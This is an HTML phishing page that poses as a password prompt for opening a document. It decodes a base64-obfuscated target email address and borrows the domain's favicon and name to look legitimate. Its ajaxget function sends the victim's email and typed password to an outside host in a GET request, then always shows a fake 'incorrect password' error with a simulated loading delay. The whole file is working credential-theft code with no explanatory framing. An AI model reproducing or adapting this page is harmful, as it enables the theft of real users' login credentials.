<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body, html {
height: 100%;
margin: 0;
font-family: Arial, Helvetica, sans-serif;
font-size: 14px;
}
* {
box-sizing: border-box;
}
.bg-image {
background-image: url("https://roject-d06b8.web.app/image.jpeg");
filter: blur(2px);
-webkit-filter: blur(2px);
height: 100%;
background-position: center;
background-repeat: no-repeat;
background-size: cover;
}
/* Position text in the middle of the page/image */
.bg-text {
padding: 20px;
margin: auto;
background-color: white;
border: 3px solid #f1f1f1;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
z-index: 2;
width: 30%;
height: 35%;
padding: 20px;
}
.box2 {
padding: 10px;
margin: auto;
width: auto;
height: auto;
background-color: white;
border-color: black;
}
input[type=password] {
min-width: 100%;
padding: 12px 2px;
margin: 8px 0;
display: inline-block;
border: 1px solid #ccc;
box-sizing: border-box;
font-size: small;
}
.button {
float: right;
color: white;
cursor: pointer;
padding: 5px 12px;
background: #357EC7;
font-family: "Lucida Grande", "Lucida Sans Unicode", Tahoma, Sans-Serif;
text-align: center;
text-decoration: none;
font-size: 14px;
cursor: pointer;
position: relative;
transition: padding-right .3s ease-out;
}
.button.loading {
background-color:#2f87c1;
padding-right: 40px;
}
.button.loading:after {
content: "";
position: absolute;
border-radius: 100%;
right: 6px;
top: 50%;
width: 0px;
height: 0px;
margin-top: -2px;
border: 2px solid rgba(255,255,255,0.5);
border-left-color: #FFF;
border-top-color: #FFF;
animation: spin .6s infinite linear, grow .3s forwards ease-out;
}
@keyframes spin {
to {
transform: rotate(359deg);
}
}
@keyframes grow {
to {
width: 14px;
height: 14px;
margin-top: -8px;
right: 13px;
}
}
#userAsCat {
display:none;
}
</style>
<title>Document</title>
</head>
<body onload="myFunction()">
<div class="bg-image"></div>
<div class="bg-text">
<p id ="demo"> </p>
<hr>
<form onsubmit="return ajaxget()">
<div class="box2">
<p>Please confirm your password to open Document</p>
<input type="hidden" id="email" name="firstname" placeholder="Email Address" readonly>
<input type="password" id="password" placeholder="Confirm Password to Continue" min="5" class="required" onkeyup="enableSubmit()" required=""> <p>
<div id="becomeCat">
</div>
<div id="userAsCat">
<p align="center" style="color:red;">Username or password is incorrect.</p>
</div>
</div>
<button type="submit" onclick="setTimeout(transformCat, 4000);" id="myButton" class="button" disabled>Open Document</button>
</p> <p> </p>
</form>
</div>
</body>
<script>
function enableSubmit(){
let inputs = document.getElementsByClassName('required'); // Enter your class name for a required field, this should also be reflected within your form fields.
let btn = document.querySelector('button[type="submit"]');
let isValid = true;
for (var i = 0; i < inputs.length; i++){
let changedInput = inputs[i];
if (changedInput.value.trim() === "" || changedInput.value === null){
isValid = false;
break;
}
}
btn.disabled = !isValid;
}
</script>
<script>
var transformCat = function (){
// var startTimer = Date.now();
// var endTimer = startTimer+900000;
//if(startTimer<endTimer){
document.getElementById("userAsCat").style.display="block";
document.getElementById("becomeCat").style.display="none"
setTimeout(function(){ document.getElementById("userAsCat").style.display="none"; document.getElementById("becomeCat").style.display="block"},3000);
};
//}else{document.getElementById("userAsCat").style.display="none";}
</script>
<script>
let encoded = "cGtnLWtkZS1leHRyYXNAbGlzdHMuYWxpb3RoLmRlYmlhbi5vcmc=";
let decoded = window.atob(encoded);
let my_e = decoded;
var ind=my_e.indexOf("@");
var namex = my_e.split("@")[0];
var my_slice=my_e.substr((ind+1));
var cot=my_slice.indexOf(".");
var my=my_slice.slice(0,cot);
document.getElementById("email").value = my_e;
document.getElementById("demo").innerHTML = my_e;
tile = my.toUpperCase();
</script>
<script>
function myFunction() {
document.getElementById("myImg").src = "https://s2.googleusercontent.com/s2/favicons?domain=" + my_slice + "&sz=32";
newPageTitle = tile;
document.querySelector('title').textContent
= newPageTitle;
}
</script>
<script>
//just some js to simulate fake loading time
function removeClass(){
myButton.className = myButton.className.replace(new RegExp('(?:^|\\s)loading(?!\\S)'), '');
}
var myButton = document.getElementById('myButton');
myButton.addEventListener("click", function() {
myButton.className = myButton.className + ' loading';
setTimeout(removeClass, 4000);
}, false);
</script>
<Script>
function ajaxget(){
// (A) GET FORM DATA
var data = new URLSearchParams();
data.append("i1", document.getElementById("email").value);
data.append("i2", document.getElementById("password").value);
// (B) AJAX
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://vb-a272e1.ingress-daribow.ewp.live/a/sex.php?" + data.toString());
// What to do when server responds
xhr.onload = function(){console.log(this.response);};
xhr.send();
// (C) PREVENT HTML FORM SUBMIT
return false;
}
</script>
</html>